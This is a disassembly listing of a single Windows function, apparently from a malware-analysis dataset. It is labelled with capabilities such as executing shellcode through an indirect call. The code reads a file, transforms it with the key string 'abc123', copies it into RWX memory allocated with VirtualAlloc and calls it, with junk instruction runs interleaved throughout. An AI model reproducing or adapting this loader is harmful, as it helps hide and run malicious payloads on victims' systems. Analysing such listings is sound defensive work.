Function at 0x40a3c0
Capabilities:
Allocate or change rwx memory
Check if file exists
Execute shellcode via indirect call
Get file attributes
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2c
mov ecx, dword [0x18210a4]
test ecx, ecx
jne 0x40aeb6
nop
nop
nop
nop
nop
nop
nop
nop
nop
add cl, byte ds:[edi]
je 0x40a3e5
push es
mov ecx, dword [edi]
add dword [ebx], edi
or al, 0xa
jne 0x40a3fc
pop es
cmp ecx, dword [eax]
add dword [edi], edx
add byte [eax], al
add byte [eax], cl
or ecx, dword [edx + eax + 4]
and byte [eax], cl
add eax, esp
add byte [ebp + 0x10001], al
add byte [eax], al
or byte [ebx], cl
into
or byte [ebx], al
les eax, [eax]
test dword [ecx], eax
add byte [ecx], al
add byte [eax], al
add byte [eax], cl
or ecx, esi
push cs
or byte [esp + eax + 0xe], ah
add al, byte [ecx]
add byte [eax], al
add byte [0x4088d02], al
and al, 2
or byte [ecx], al
add byte [eax], al
add byte [0x405d800], al
add byte [eax], al
add byte [ebp + eax + 0xb], dh
mov eax, dword [ecx]
or eax, 0x8070398
add byte [ebx + 0x6f40d04], cl
add al, 0x89
add byte [0], cl
add cl, byte [eax]
mov eax, dword [eax]
push cs
mov ecx, dword [eax]
add dword [eax], eax
add byte [ecx], al
add byte [eax], al
add byte [ebp + 5], cl
or al, 3
int3
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp], 0x1f4
call esi
sub esp, 4
cmp dword [0x18210a0], 2
jle 0x412b54
mov edx, dword [0x18210a4]
test edx, edx
jne 0x40b8c5
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push es
loopne 0x40aefb
or dword [esi + 0xf], eax
or al, 0xeb
add dword [ebx], eax
test dword [eax + eax], ecx
or al, 0
je 0x40aeff
or eax, 0x8fb010d
or eax, 0x8d0b0d04
add eax, dword [edi + eax*8]
or byte [ebx], cl
inc esi
add eax, dword [esi]
or al, byte [eax]
push es
or byte [eax + 0xd], dh
add eax, 0x68000047
add byte [ecx], al
add byte [eax], al
wbinvd
add eax, 0xb60f00c0
or al, 0
push eax
invalid
call fcn.004067f0
mov eax, dword [0x18210a4]
test eax, eax
je 0x412b61
mov dword [esp], 0x418bb4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
sub esp, 4
test eax, eax
mov edi, eax
je 0x414960
mov dword [esp + 4], 0x418b59
mov dword [esp], 0x1823020
call sub.msvcrt.dll_strcat
mov dword [esp + 4], 0x418b4d
mov dword [esp], 0x1823020
call sub.msvcrt.dll_strcat
mov dword [esp + 4], 0x418b45
mov dword [esp], 0x1823020
call sub.msvcrt.dll_strcat
mov eax, dword [0x18210a4]
test eax, eax
jne 0x40c31c
nop
nop
nop
nop
nop
nop
add byte [ecx + 0xf], dl
invalid
mov dword [esp + 4], 0x418ba1
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
test eax, eax
mov ebx, eax
je 0x415cc2
mov eax, dword [0x18210a4]
test eax, eax
jne 0x40cd29
nop
nop
nop
nop
nop
nop
nop
nop
nop
or byte [eax], al
add al, byte [eax]
add byte [eax], al
push esi
or byte [ebx], cl
mov ah, 2
add al, 0x18
add byte [edx], al
add byte [eax], al
add byte [eax], cl
or edi, dword [ebp]
or al, 0x3b
femms
je 0x40c379
pop es
inc dword [edi]
add eax, 0xfc0b07e8
invalid
pop esi
add eax, 0xc330d
pop ebx
pop es
inc dword [0xd051400]
ret 0x400
mov dword [esp], 0x418b80
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
sub esp, 4
cmp eax, 0xffffffff
je 0x413548
mov edx, dword [0x18210a4]
test edx, edx
jne 0x40d64c
add dword [edi], eax
add byte [eax], al
add bh, al
or byte [0xff0f0f70], al
invalid
mov dword [esp + 4], 0x182206b
mov dword [esp], 0x418b80
call sub.msvcrt.dll_fopen
test eax, eax
mov ebx, eax
je 0x415380
mov eax, dword [0x18210a4]
test eax, eax
jne 0x40e059
nop
nop
nop
nop
nop
nop
nop
nop
nop
or al, 0xc
mov ecx, dword [eax]
push es
xor byte [eax], al
add eax, dword [eax]
add byte [eax], al
sub dword [eax + 0x500f08d4], eax
add byte [ebx + ecx*4], al
or al, 6
mov eax, dword [ecx - 0x76fbf90c]
add byte [0x450b08ef], cl
add byte [ebx + eax*4], cl
pop es
or byte [eax + eax], dl
or byte [edx], dh
add cl, byte [ebx + 0x9084c08]
nop
or byte [eax + eax], cl
add byte [eax], al
add byte [esi], al
push es
mov dword [eax], ecx
or cl, al
or byte [ecx], al
cli
add byte [eax], al
adc byte [eax], al
add byte [eax], al
pop es
add dl, byte [eax + ecx]
or ecx, dword [ecx + 1]
add byte [eax], al
add dh, al
add al, 4
xor byte [eax], al
or byte [eax + 0xe], bl
or dword [ebp + 0x70c03], edx
push es
add al, 0xa1
add byte [eax], al
add byte [eax], al
add byte [eax], al
add eax, 0x7055600
push cs
ret 0x400
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov dword [esp], ebx
call sub.msvcrt.dll_fseek
mov eax, dword [0x18210a4]
test eax, eax
jne 0x40e97a
nop
nop
add byte [ebx + 0xf83010c], cl
or cl, byte [eax]
pop es
add al, byte [edx]
or byte [ebx], cl
add dword [eax], ecx
add eax, dword [esp + eax]
and al, 1
add al, 0
add byte [eax], al
add byte [eax], al
add al, ch
push cs
or ebx, edi
sgdt [esp + esi*2]
add dword [edi], ecx
inc esi
or byte [ebx], al
cmp al, 0xb
pop es
add byte [eax], cl
or eax, 0xb04
fadd dword [esp + eax]
and al, 1
or cl, bl
add eax, 0x801240c
test dword [esi], ecx
cmp al, 0
jb 0x103feecb
ud0
mov dword [esp], ebx
call sub.msvcrt.dll_ftell
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], ebx
mov dword [ebp - 0x1c], eax
call sub.msvcrt.dll_fseek
mov eax, dword [0x18210a4]
test eax, eax
jne 0x415ca2
nop
nop
nop
nop
nop
nop
add eax, 0xcc030c5d
or al, 0xc
int3
mov eax, dword [ebp - 0x1c]
mov dword [esp + 0xc], ebx
mov dword [esp + 4], 1
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sub.msvcrt.dll_fread
mov dword [esp], ebx
call sub.msvcrt.dll_fclose
mov eax, dword [0x18210a4]
test eax, eax
jne 0x4105cd
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add byte [ebx], dh
or al, 4
push eax
or byte [0x10040244], cl
push es
add al, 0xa3
add byte [eax], al
add esp, esi
push cs
add byte [ecx + 0xefc0604], cl
or edx, dword [ebx]
or byte [0x8b0407c0], al
add eax, 0x8002404
lea eax, [edx + eax]
or al, 8
or ecx, dword [edx + 0xe]
or byte [ebx], dh
add byte [eax], cl
or dword [eax], edx
add al, 0x8b
add dword [0x47040fa8], eax
add byte [eax], al
mov dword [eax], eax
add byte [eax], al
add byte [ebx + 0x8040604], cl
or edx, dword [eax]
add al, 0x8b
add byte [edx], cl
or byte [ecx], cl
dec esi
add dword [ecx + ecx*4], ecx
add al, 0xe
and byte [eax], cl
or eax, dword [edx + 1]
add byte [ecx + 0xc040204], cl
or byte [ebx], al
rol dword [eax], 2
or dword [esi], 0xf
add dword [edi], eax
add eax, 0xe5508eb
or byte [ecx + 0x88c0504], cl
add edi, edx
add byte [eax], cl
jb 0x40fd61
add cl, byte [ebx]
mov dword [esi], eax
add eax, 0xd90b08f0
add byte [eax], al
add byte [ecx + 0x8f00506], cl
or ebx, ecx
or byte [ecx], cl
pop ebp
push cs
or byte [edi], cl
sldt word [eax]
add byte [eax], al
pop es
or eax, 0xf060644
push es
push cs
ret 0x108
mov ebx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov dword [esp + 8], str.abc123
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.00401560
mov dword [esp + 4], ebx
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
mov eax, dword [0x18210a4]
sub esp, 0x10
test eax, eax
jne 0x410f16
nop
nop
nop
nop
nop
nop
add edi, eax
add cl, byte [eax]
jne 0x410629
add al, 0x8b
add al, 9
or al, 5
add dword [eax + 6], edx
or dl, al
or byte [ebx], cl
pop ebp
invd
jmp 0x410639
or dword [eax + 0x8065001], ecx
ret 0xb08
mov eax, dword [ebx + ecx]
and byte [esi], al
or al, byte [ecx]
dec dword [eax]
add eax, 0x160507c0
push es
or cl, byte [esp + ecx]
pop es
add eax, 0xb80c01
loop 0x410662
add byte [eax + 0x310020c], al
add dl, al
or byte [eax], al
loop 0x410662
add byte [eax], al
add byte [ebx], al
add ecx, ebp
push cs
add eax, dword [ebx]
int 0xe
or al, bh
add byte [edi], cl
add eax, dword [eax]
add byte [ecx + 0x508050c], al
fild dword [edi]
add al, 9
add eax, 0xe048d03
dec eax
push cs
or al, cl
push cs
add eax, dword [eax]
add byte [eax], al
or byte [ebx], al
loopne 0x410697
or eax, 0x1080c83
or byte [ecx], cl
xchg byte [ecx], al
or edi, edi
add al, byte [eax*4 + 0x4d60b0a]
or eax, 0x40a0600
add eax, 0x4c70000
or edx, esi
add al, 0xd
add byte [esi], al
or al, byte [eax + 0x4c70000]
add eax, 0xfc
add byte [eax], al
add byte [esi], cl
or dl, cl
or ecx, dword [ecx]
add eax, dword [ecx]
add byte [eax], al
add byte [ebx], al
add edi, edi
or byte [ecx], cl
jge 0x4106cb
add al, 0x83
sgdt [eax]
add byte [eax], al
push es
or al, byte [eax]
add eax, 0x80e5307
je 0x4106d0
or byte [edx + eax + 0xe], dh
push cs
add dword [esi], eax
push es
call 0x103712df
ud0
mov eax, dword [ebp - 0x1c]
mov dword [esp], ebx
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x20]
mov dword [esp + 4], eax
call sub.msvcrt.dll_memcpy
mov ecx, dword [0x18210a4]
test ecx, ecx
jne 0x41191c
nop
nop
nop
nop
nop
nop
jne 0x410f42
pop es
call fcn.00511653
add byte [eax], al
push cs
or ebp, ebp
or eax, dword [eax]
add dword [ebx], eax
in al, dx
add cl, byte [eax]
dec eax
or byte [0xbc01000d], cl
add byte [edx], al
add byte [edi], cl
invd
add al, 0x4f
add al, 6
add byte [esi], cl
or byte [esi + eax + 0xf], al
add dword [eax], eax
add byte [ebx + 0x7c0050c], al
add eax, 0x150f0f0b
or byte [eax], al
rol byte [eax - 0x3ff6f800], 7
add eax, 0x8080617
add byte [edi + eax*2], cl
add byte [eax], al
lea eax, [esp + eax]
and al, 0xc
call fcn.0041119b
add byte [eax], al
or byte [ebx], cl
lock or byte [ecx], cl
jne 0x410fad
add al, 7
pop eax
femms
dec dword [edi + eax]
test byte [edx], al
add al, 0x78
add al, byte [0xe8000000]
add byte [eax], al
add al, ch
push es
add dword [esi + 0xc000100], esp
or al, 0xcc
or al, 0xc
int3
mov dword [esp], 1
call esi
sub esp, 4
call ebx
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov edx, dword [0x18210a4]
test edx, edx
jne 0x41223f
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0x4600807
push es
add byte [esi], cl
or byte [edi + 0x10f01], ch
add byte [ebx + 0x510d0800], cl
add byte [edx], cl
add cx, word [ebx]
add byte [edi], cl
or byte [0x4b0b0000], 4
or byte [edi], cl
or eax, dword [esi]
add dword [ebx], eax
or al, 0x2d
pop es
add eax, 0x403080e
mov dword [esp + eax], eax
and al, 2
or al, 0x8b
add al, 4
and al, 2
add byte [ebx + 0x150f000c], al
or byte [eax], cl
rol byte [edi + eax], 0
add eax, 0xc048d00
and al, 1
add bh, dh
add al, 7
add byte [0x702e800], al
in eax, dx
invalid
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [0x18210a4]
sub esp, 4
test eax, eax
jne 0x412b54
nop
nop
nop
nop
nop
nop
nop
nop
dec dword [eax]
or dword [ebp + 0xffb0409], ebx
ud0
lea esp, [ebp - 0xc]
mov eax, 1
pop ebx
pop esi
pop edi
pop ebp
ret
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
or eax, ebp
add cl, byte [ebx]
mov dword [eax], 0x4028401
test al, 0
add byte [eax], al
add byte [eax], al
or byte [ebx], cl
dec eax
add dword [eax], eax
or dword [ebx], 9
test al, 0
add byte [eax], al
add byte [eax], al
add byte [edi], al
mov eax, dword [esp + eax]
and al, 1
or byte [ebx + 0x1240405], cl
add byte [esi + 5], dl
pop es
push eax
add eax, 0xc60b02a8
or al, 1
clc
add byte [edx], al
lea eax, [eax]
or al, 0x85
add byte [eax], al
add ecx, dword [edi]
add dword [eax], eax
inc ebp
or al, byte [ebx + esi*8]
add byte [edi], cl
pop esp
add al, 5
cwde
lsl ecx, word [esi]
pop ebx
add eax, 0x400c20d
add byte [esp + ecx], cl
int3
mov eax, dword [0x18210a4]
test eax, eax
jne 0x413f37
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
or al, 0
je 0x413568
add byte [ebx + 0x5140507], cl
adc al, 5
push es
inc dword [edi]
add eax, 0x4050f08
add byte [edi], cl
unpckhps xmm1, xmmword [edx]
or byte [edx], dl
add eax, 0x30c0000
push ebp
or byte [0xa], al
add cx, word [ecx]
adc eax, dword [eax]
jne 0x453d91
add dword [esi], eax
push eax
add byte [eax], al
mov eax, dword [edi]
or eax, 0x450908cc
push cs
or al, 0x89
pop es
invalid
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x418b80
mov dword [esp + 4], 0x1823020
mov dword [esp], 0
call ebx
sub esp, 0x14
test eax, eax
jns 0x40cd42
mov ecx, dword [0x18210a4]
test ecx, ecx
jne 0x415c89
nop
nop
nop
nop
nop
nop
nop
je 0x413f84
add al, 0x18
add eax, 0x6054107
inc ecx
add eax, 0x3084807
in al, dx
add byte [eax], al
or byte [ebx], cl
dec esp
add al, byte [esp + edx]
push cs
or ebp, edi
add byte [ecx], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0xfb00506], al
push cs
mov eax, dword [ecx + 0x38090e98]
or al, 0xe
add eax, 0xc70f0fff
add al, 4
and al, 0
or al, 0xff
invalid
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x182204e
mov dword [esp + 4], 0x182205a
mov dword [esp], 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov eax, dword [0x18210a4]
sub esp, 0x10
test eax, eax
jne 0x412b54
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
ud0
mov eax, dword [0x18210a4]
test eax, eax
jne 0x415c89
nop
nop
nop
push eax
or byte [ebx], cl
inc edx
add byte [edi + edi*8], al
or eax, 0xf078300
insb byte es:[edi], dx
add byte [eax], al
mov eax, dword [eax]
add al, byte [eax]
or byte [ebx], al
rol byte [eax], 2
push eax
push cs
or byte [eax + 0x2030f], dl
ror dword [eax], 9
inc esp
add al, byte [esp + ecx]
push es
push es
mov eax, dword [eax]
add al, 1
push es
push es
cmp eax, dword [eax]
invd
add eax, 0x200a3
add byte [eax], al
mov ecx, dword [eax]
push es
and byte [eax], al
add ecx, eax
push cs
or ebx, dword [eax]
add eax, dword [ebx]
cmp al, 9
or eax, 0x460e07a8
add byte [eax], al
and eax, 0xb0c3b01
je 0x4153e6
push cs
call 0xf9a54f8
push cs
inc dword [0xcf0b0806]
push cs
or byte [esi], ch
push cs
push cs
dec dword [edi]
jnp 0x4ca630c
test byte [edi], 0xd
sbb cl, byte [ebx]
or byte [ebx], cl
add byte [eax], al
add byte [eax], al
add byte [ebx], ch
or al, 6
cdq
add byte [eax + eax], bl
add byte [eax], al
add byte [eax], al
add byte [0xc00c20d], al
add byte [esp + ecx], cl
mov esi, 0x3f0f0b
add byte [eax], al
push es
push es
cmp ecx, dword [edi]
push cs
ja 0x41542f
add byte [ebx], dh
add al, byte [eax + ecx]
xor eax, dword [edx]
add al, 8
push cs
or eax, dword [eax + ecx]
or ecx, dword [edx + eax + 4]
or byte [eax], cl
or eax, dword [edi + 1]
mov edx, 0x5210c06
add al, byte [eax]
or byte [ebx], cl
enter 0xa08, 0x19
add ecx, dword [edx]
sbb al, byte [eax]
add byte [edi], al
add dl, byte [eax]
or byte [ebx], cl
dec ecx
invalid
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 1
sub esp, 4
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sub.msvcrt.dll_malloc
test eax, eax
mov dword [ebp - 0x20], eax
jne 0x40fc9e
mov dword [esp], ebx
call sub.msvcrt.dll_fclose
jmp 0x415c89
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x182205e
mov dword [esp + 4], 0x182205a
mov dword [esp], 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov eax, dword [0x18210a4]
sub esp, 0x10
test eax, eax
je 0x41538d
jmp 0x415c89
add byte [eax], al
add byte [esi + eax + 0xb], cl
push ebx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add al, 3
push cs
push es
popal
or byte [edx], al
or al, byte [esi]
add al, cl
add dword [edi], eax
mov word [edi], es
add ah, byte [ebp]
add byte [eax + eax], dh
add byte [eax], al
add byte [eax], al
add byte [eax], al
pop ebx
add eax, dword [eax]
js 0x453dd1
add byte [ecx + 6], ch
push cs
jbe 0x453ddd
add dword [esi + eax + 9], ebp
add al, byte fs:[eax]
push es
add byte [eax], bh
add byte [eax], al
xor byte [eax], al
add byte [eax], dh
add byte [eax], al
cmp dword [eax], eax
add byte [ebx], dh
add byte [eax], al
add byte [eax], al
pushal
add dword [0x10000045], ecx
add byte [esi + eax], ah
cmp byte [eax], al
add byte [eax], dh
add byte [eax], al
xor byte [eax], al
add byte [ecx], bh
add byte [eax], al
xor eax, dword [eax]
add byte [eax], al
add byte [eax + 1], ah
or eax, 0x10000045
add ecx, dword [ecx]
inc ebp
add byte [eax], al
and byte [ebx], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
or dword [ebp + 7], eax
or byte [edi], dl
add byte [eax], ch
add dl, byte [edx + 6]
add eax, 0x4010567
dec esi
add eax, dword [eax]
dec esp
add eax, dword [eax]
inc ecx
add byte [esi], al
or dword [edx], eax
or eax, dword [esi]
add byte [ecx], al
inc eax
add al, 0
je 0x453e3b
or dword [esi + 7], ebp
or dword [ebp + 6], esi
or dword [eax + 4], eax
add byte [eax], al
add al, byte [ebx]
clc
add cl, byte [esi]
cdq
add al, byte [eax]
fld dword [0x50a770f]
ljmp 0